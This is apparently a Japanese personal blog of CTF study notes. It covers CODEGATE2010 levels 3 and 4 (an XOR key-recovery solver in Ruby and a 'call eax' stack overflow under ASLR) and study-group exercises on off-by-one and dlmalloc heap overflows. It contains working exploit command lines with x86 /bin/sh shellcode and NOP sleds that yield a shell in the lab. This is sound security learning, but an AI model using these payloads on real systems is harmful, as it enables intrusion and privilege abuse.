トップ 追記

yoggy's diary

〜せかいのすみっこから〜


2010-03-20

CODEGATE2010 CTF Level 4の解き方メモ

以下のURLに模範解答が載っていたので、それを読んで理解した内容をまとめています。

問題文は次の通りで、サーバ上でListenしているプログラムにexploitを打ち込んで、サーバ上に置いてあるkeyが格納されたファイルを取得する問題でした。

credentials: ctf4.codegate.org 9000

BINARY FILE: http://ctf.codegate.org/files____/easy

ダウンロード可能なファイルはLinuxで実行可能なするELF 32bitバイナリです。

$ file easy
easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses  shared libs), for GNU/Linux 2.6.15, not stripped

実行すると標準入力から文字入力を求められます。問題サーバではinetd経由などで動作していると思われます。

$ ./easy
Input: a

Thanks. Goodbye

入力される文字が長いとプログラムがsegmentation faultで落ちるいつものパターンの問題なのですが、 少しshellcode実行が難しい環境での問題でした。

サーバ環境について

  • ターゲットのサーバ上ではASLR(Address Space Layout Randomization)が有効。
  • 実行するたびにプロセス内のスタックなどのアドレスが変化する。
  • 単純にリターンアドレス書き換えだけではshellcodeへジャンプできない。
  • 安定してshellcodeへジャンプさせるための工夫が必要。

memcpy()を使用している関数内でstack overflowが発生している

  • 問題のある関数の最後でmemcpy()が呼び出されている
  • memcpy(void *dst, cosnt void *src, size_t size)の戻り値はdstのポインタ。つまりmemcpy実行直後は入力した内容が格納されているバッファの先頭アドレスがeaxに格納されている。
  • 問題のある関数を抜ける際のeaxレジスタは、入力バッファの先頭を指している

攻略ポイントは、call eaxを利用した安定したshellcodeへのジャンプ。

  • msfelfscanを使ってeasyのバイナリ中にあるcall eaxを探す
$ msfelfscan -j eax ./easy
[./easy]
0x080484df call eax
0x0804860b call eax

shellcode実行までの流れ

  • (1) リターンアドレスを書き換えて、call eaxが存在しているアドレスへジャンプ
  • (2) call eaxが実行され、バッファの先頭へジャンプ
  • (3) nop slide area 1へ着地して、nop(何もしない命令)が実行される
  • (4) nop slide area 1の最後にjmp short 0x12を配置。jmp shortでリターンアドレスがある部分を迂回してnop slide area 2へジャンプ
  • (5) nop slide area 2へ着地。nopが実行されその終端にあるshellcodeが実行される

4446529261_3ac511d50a.jpg


2010-03-16

CODEGATE2010 CTF Level 3の解き方

Level 3はサーバに接続すると暗号化されたデータが送られてきて、 そのデータの中から答となるキーの文字列を取り出す問題でした。 問題は以下のような感じです。

credentials: ctf3.codegate.org port 20909

Julianor doesn't understand why block ciphers exist, too complex.. just use his super secure message service.

指定されたサーバに接続すると、16進数の文字列を送り返してきます。

 $ nc ctf3.codegate.org 20909
 Message To:?
 a <-適当に文字を入力
 e5 2f 79 9d 01 e6 6e a4
 4a df b9 b9 4b d7 b1 d0
 d9 98 4a 40 55 d2 e9 93
 ea 1c 2b 5d 8f 0c 94 e1
 72 91 3a 9b 41 a0 a2 2a
 bf 22 ce c1 fc 49 da 5b
 2d 62 b0 9d bf 63 0b 95
 df 37 0f 7b 95 8d b2 aa
 75 a5 e6 2c 01 df 96 84
 8e 54 2b 8f 29 fc f0

もう少し長いデータを送ると、それに応じてデータが長くなります。

 $ nc ctf3.codegate.org 20909
 Message To:?
 aa <-適当に文字を入力
 e5 2f 79 9d 6a e6 20 85
 4e cc eb da 5c c5 d7 a0
 e5 95 52 5c 42 8c cf c0
 dc 06 2c 0f c9 06 99 e7
 35 d8 20 d2 5b c2 8c 29
 b3 2a fa dd d6 50 c2 56
 3a 63 fe ee a2 71 15 89
 f3 36 12 78 8c 96 a1 bf
 68 a3 e7 48 01 f8 96 a3
 c8 55 4c 8f 31 e0 d4 21

いろいろ試行錯誤した結果、次の仮定を考えて問題に取り組みました。

(1) 暗号化される前のデータはFig.1のようなフォーマットであると仮定

4437113035_a427e323a9.jpg

  • Fig.1

(2) 単純にXORを使って暗号化している

encryption_data = (header + input_text + secret_text) xor key

(3) XORに使用している鍵は、毎回同じ

(4) XORに使用している鍵は、かなり長い

暗号化に使用している鍵が毎回同じということと、XORの演算は片方が0だと、

 0 xor 0 -> 0
 0 xor 1 -> 1

と、もう片方の値がそのまま出力されることを利用して、 Fig.2のように十分に長い\x00が続くデータを入力すると、 encryption_dataのinput_textに対応する部分にそのまま暗号化に使用した 鍵が出力されると考えました。

4437113291_2bff7dfb75.jpg

  • Fig.2

試してみると、\x00だとサーバ側の読み込みが先頭で終わってしまうようだったので、 実際には\xffが続くデータを入力して、出力結果の0/1を反転させることで、 暗号化に使用している鍵を得ることができました。

問題を解くコード(Ruby)

#!/usr/bin/ruby
require 'socket'
require 'pp'

def dump(buf)
  puts "========"
  buf.each_with_index {|b, i|
    puts if i % 8 == 0 && i != 0
    #print "#{b.to_s(16)} "
    print sprintf("%02x ", b)
  }
  puts
  $stdout.flush
end

def get(str)
  s = TCPSocket.new("ctf3.codegate.org", 20909)
  s.gets
  sleep 0.2
  s.print "#{str}\n"
  sleep 0.2

  buf = []
  loop do
    l = s.gets
    break if l == nil
    buf += l.chomp.split(" ").map{|h| h.hex}
  end

  buf
end

# 0x00を送ると、サーバ側でreadが終わってしまうので、
# 0xffを突っ込んであとから戻す作戦
null = "\xff"

# get key data
# 0xffを突っ込んで、5~79バイトの部分の鍵を取り出す。
key = get(null * 100)
key = key[4, key.size-1]
key = key.map {|b| b ^0xff} # 0xffで鍵を取り出しているので、もとに戻す
dump key

# get encryption data
# 1文字だけ文字を入力。かえってくるデータの5~79バイト目が暗号化されたデータ
src = get(null * 1)
src = src[4, src.size-1]
dump src

# decode (XOR)
i = 0
dst = src.map{|s|
  d = s ^ key[i]
  i += 1
  d
}

# print decode data
pp dst.map{|c| c.chr}.join

実行結果

$ ./prob3.rb
========
0b ec 2a c1 2b ad 99 fa
1f 91 91 80 b5 f9 33 25
27 fe e3 ca 85 69 59 7d
e9 60 f5 86 52 f8 49 a1
61 e2 ce 45 dc 49 91 82
95 39 b2 3e 5f 11 8d d3
ec 22 54 d6 b0 59 7c 0b
fc ff d3 de 1c ca 88 26
0b f2 bb 8e c2 19 01 a5
1b d2 fa 2b b2 38 c7 be
66 91 82 97 22 5b 4e 37
d4 cb 7a 2f 6c 20 74 96
33 2d 92 86 58 2e d9 9b
d5 5b c8 3e ff 18 6f ac
db 59 89 ef 03 ed a1 d5
57 be fe e9 71 40 ba 83
de 3c a4 31 bf 0f 2e c2
8a 3a 63 83 b0 da d3 15
88 b2 6e bf e1 a8 93 fc
8a 59 4d 8a 4b 4a 5e 2b
fb a7 04 24 d4 82 e3 87
a3 5b 69 b7 f2 b0
========
01 e6 6e a4 4a df b9 b9
4b d7 b1 d0 d9 98 4a 40
55 d2 e9 93 ea 1c 2b 5d
8f 0c 94 e1 72 91 3a 9b
41 a0 a2 2a bf 22 ce c1
fc 49 da 5b 2d 62 b0 9d
bf 63 0b 95 df 37 0f 7b
95 8d b2 aa 75 a5 e6 2c
01 df 96 84 8e 54 2b 8f
29 fc f0
"\n\nDear CTF Player,\nYour flag is: Block_Ciphers=NSA_Conspiration\n\n--\nLM**2.\n"

最後に出力される"Block_Ciphers=NSA_Conspiration"が問題の答えとなるキーです。


2010-02-21

CTF10勉強会(2/21) - メモ

TODO: 書きかけ途中。あとで確認して整理すること。

level8

off-by-oneな問題

  • ebpの下位1byteだけ書き換えることができる場合の攻略方法
  • アドレスは環境変数などで変化するので、手元の環境に合わせて調整すること。
  • 参考
メモ

引数に16byte以上指定すると落ちる。

$ ./eat
./eat <string>

$ ./eat aaa
first character: a

$ ./eat `ruby -e 'print "a"*15'`
first character: a

$ ./eat `ruby -e 'print "a"*16'`
first character: a
zsh: segmentation fault (core dumped)  ./eat `ruby -e 'print "a"*16'`

0x80484c0からはじまる関数からreturnするときに落ちているっぽい。

  • objdump -Sxd ./eat とかもあわせて参照。
  • この辺は地道に探すこと

strcpy()とかでargv[1]をスタック上のバッファにコピーしたときに、文字列の最後の0x00の分が1byte分ebpをpushしている領域にはみ出ているっぽい。

正常に動くとき。(a)〜(b)に"a"*15+"\x00"の16byteが格納されている。

(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*15'`
(gdb) x/16x $esp - 32
0xbfbfe770:     0x00000028      0xbfbfe7e0      0x61616161<-(a) 0x61616161
0xbfbfe780:     0x61616161      0x00616161<-(b) 0xbfbfe7a8      0x0804856f
0xbfbfe790:     0xbfbfe97f      0x0000000f      0xbfbfe890      0xbfbfe8a8
0xbfbfe7a0:     0xbfbfe898      0x0000000f      0xbfbfe7c8      0x080485da

はみ出しているとき。(c)〜(e)に"a"*16+"\x00"の17byteが格納されている。16文字以上は同じ。 (e)が格納されているのはスタック上のebpがpushされている場所。

(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'`
(gdb) x/16x $esp - 32
0xbfbfe770:     0x00000028      0xbfbfe7e0      0x61616161<-(c) 0x61616161
0xbfbfe780:     0x61616161      0x61616161<-(d) 0xbfbfe700<-(e) 0x0804856f
0xbfbfe790:     0xbfbfe97f      0x00000010      0xbfbfe890      0xbfbfe8a8
0xbfbfe7a0:     0xbfbfe898      0x00000010      0xbfbfe7c8      0x080485da

つまり、ebpの下位1byteだけが0x00で上書きすることが可能。

shellcodeを実行するためにクリアする必要があるポイント

  • (1) 前回のlevel3ではebpの4byteを自由に書き換えることが可能だったが、今回はebpの下位1byteを0x00に上書きできるだけなので、どうやってジャンプ先のアドレスを制御するか?
  • (2) スタック上にargs[1]がコピーされる領域が16byteだけなので、どこにshellcodeを配置して、どうやってそこにジャンプさせるか?

(1)について今回は、0xbfbfe700辺りに(c)〜(d)のバッファが配置されるように、環境変数や引数に与えるデータ量を調整する。

  • argv[2]に文字列を入れて、その長さを調整して0xbfbfe700辺りにバッファがくるように調整してみる。
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*16'`
(gdb) x/16x $esp - 32
0xbfbfe750:     0x00000028      0xbfbfe7c0      0x61616161<-(f) 0x61616161
0xbfbfe760:     0x61616161      0x61616161<-(g) 0xbfbfe700      0x0804856f
0xbfbfe770:     0xbfbfe96b      0x00000010      0xbfbfe87c      0xbfbfe894
0xbfbfe780:     0xbfbfe884      0x00000010      0xbfbfe7a8      0x080485da
          ・
          ・
          ・
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*112'`
(gdb) x/16x $esp - 32
0xbfbfe6f0:     0x00000028      0xbfbfe760      0x61616161<-(h) 0x61616161
0xbfbfe700:     0x61616161<-(i) 0x61616161<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710:     0xbfbfe90b      0x00000010      0xbfbfe81c      0xbfbfe834
0xbfbfe720:     0xbfbfe824      0x00000010      0xbfbfe748      0x080485da

argv[2]にbを112文字突っ込んだら、(h)〜(j)のバッファが0xbfbfe700辺りに配置された。

ここまで来たら、level3と同じように、(j)にジャンプ先のアドレスを入れておけば、任意アドレスのコードを実行することができる。

(gdb) run `ruby -e 'print "a"*12+"AAAA"'` `ruby -e 'print "b"*112'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? () <-"AAAA"の文字列

(2)については、とりあえずargv[2]の領域にshellcodeを配置して実行する。

  • 手元の環境だと、0xbfbfe91cあたりにargv[2]が配置されるっぽい。
  • 下の(m)がargv[2]の先頭。
  • (j)に(m)のアドレスを配置
  • (m)の先頭にshellcodeを配置
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
Reading symbols from /lib/libc.so.7...(no debugging symbols found)...done.
Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done.
first character: a

Breakpoint 1, 0x08048574 in ?? ()

(gdb) x/256x $esp - 32
0xbfbfe6f0:     0x00000028      0xbfbfe760      0x61616161<-(h) 0x61616161
0xbfbfe700:     0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710:     0xbfbfe90b      0x00000010      0xbfbfe81c      0xbfbfe834
     ・
     ・
     ・
0xbfbfe900:     0x6576656c      0x652f386c      0x61007461<-(l) 0x61616161
0xbfbfe910:     0x61616161      0x1c616161      0x00bfbfe9      0x8950c031<-(m)
0xbfbfe920:     0x10e883e0      0x31e38950      0x2f6850c0      0x6868732f
0xbfbfe930:     0x6e69622f      0xc031e289      0x50525350      0x80cd3bb0
0xbfbfe940:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe950:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe960:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe970:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe980:     0x62626262      0x62626262      0x62626262      0x2f3d5f00

(gdb) c
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x280655f0 in __stack_chk_fail_local () from /libexec/ld-elf.so.1

gdb上ではshellcodeは実行されないけど、"It might be running in another process."が表示されているとexploitが決まってるっぽい雰囲気。

あとは、gdbなし環境で実行できるようにアドレスを調整する。

ただ、今回はアドレスを調整するのが非常に難しい。難しい原因は次の通り

  • argv[2]の長さを調整して、(k)が指すアドレスを(i)に持ってこないとだめ。
  • (j)のジャンプ先のアドレスをarg[2]が格納されているアドレスにする必要がある。

地道に探してみるか…

まずは(1)を調整してみる。

$ cd ~
$ mkdir level8
$ cd level8
$ cp /home/level8/eat .

$ rm -f eat.core && ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
first character: a
zsh: segmentation fault (core dumped)

$ gdb -c eat.core
GNU gdb 6.1.1 [FreeBSD]Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Core was generated by `eat'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfe932 in ?? ()

(gdb) x/256x 0xbfbfe6f0 <- 前のバッファ周辺のアドレスを探してみる

0xbfbfe700:     0x00000010      0xbfbfe932      0xbfbfe748      0x00000061
0xbfbfe710:     0xbfbfe724      0x00000003      0xbfbfe748      0x0804851f
0xbfbfe720:     0x0804867d      0x00000061      0x00000010      0x28088000
0xbfbfe730:     0x00000028      0xbfbfe7a0      0x61616161<-(h) 0x61616161
0xbfbfe740:     0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe750:     0xbfbfe922      0x00000010      0x00000000      0x00000000
0xbfbfe760:     0x00000000      0x00000010      0xbfbfe788      0x080485da
0xbfbfe770:     0xbfbfe922      0x00000000      0xbfbfe798      0xbfbfe7a0
0xbfbfe780:     0x00000020      0xbfbfe7a0      0xbfbfe7b8      0x08048449     ・
    ・
    ・
    ・

いろいろ試してみると、1byteだけ書き換えた(k)の値は0xbfbfe700から変わらないっぽいので、 argv[2]の長さをいろいろ試してみると…

[yoggy@freebsd80 ~]$ cd /home/level8/
[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*140 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)

[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*150 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
            ・
            ・
            ・
[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
$
$ whoami
level8
$ ls
eat             eat.ans         password
$ cat password
1byte overflow!
$

argv[2]の先頭アドレスをぴったり当てなくても大丈夫なように、 argv[2]の先頭にNOP(0x90)を入れておいて、その後ろにshellcodeを配置。 (j)で指定するジャンプ先がargv[2]の先頭付近に着地すればOKなように工夫。

答え

argv[2]の長さは環境にあわせて調整すること。

$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`

level9

  • heap overflowな問題
  • free()を攻略
メモ
  • argv[2]が長いとオーバーフローする
  • free()で落ちる
  • malloc(), free()にbreakをかける
    • b free, b malloc
  • malloc()で確保したアドレスを覚えておく
    • finishするときのeaxに入っている戻り値を覚えておく
  • malloc()はサイズごとに確保する領域を分けて管理している
    • ヘッダがついている
    • malloc()のソースコードをみる
    • dlmallocで検索。
  • 確保されているメモリは、双方向リストで管理されている。
    • [X] <-> [Y] <-> [Z] <-> ....
  • unlink_chunk()
    • unlink_small_chunk(M, P, S)
  • Yを削る処理
    • F = Y->fd, B = Y->bk
    • F->bk = B, B->fd = F
  • Y->fd, Y->bkのアドレスを任意の値に書き換えることができる
    • F, Bの値を書き換えることができる
    • Fからちょっと進んだ場所の値をBの値で上書きできる
    • ということは、任意のアドレスの値を上書きできる。
    • ただし、F,Bはメモリ空間的にアクセスできる場所でないとだめという制約はある
    • F->bk = B, B->fd = Fが正しく実行されるために必要な条件

普通の環境では、unlink_small_chunk()の中でF,Bの内容チェックが行われている。

  • セキュリティのため
  • 勉強会環境では外している

考えないといけない点

  • free()の中でちゃんとunlink_chunk()が呼ばれるように、ヘッダを作り込んでおく必要がある。
    • 0xfffffff8, 0xfffffff8 (先人たちの知恵?w)

shellcodeを実行するコツ?(by ucq)

  • exit()とか確実にコールされる関数を乗っ取り
    • GOT書き換え
    • objdump -R b08 で確認。

トップ 追記

2003|01|05|06|07|08|09|10|11|12|
2004|01|02|03|04|05|06|07|08|09|10|11|12|
2005|01|02|03|04|05|06|07|08|09|10|11|12|
2006|01|02|03|04|05|06|07|08|09|10|11|12|
2007|01|02|03|04|05|06|07|08|09|10|11|12|
2008|01|02|03|04|05|06|08|09|10|11|12|
2009|01|02|03|04|05|06|07|08|09|10|11|
2010|01|02|03|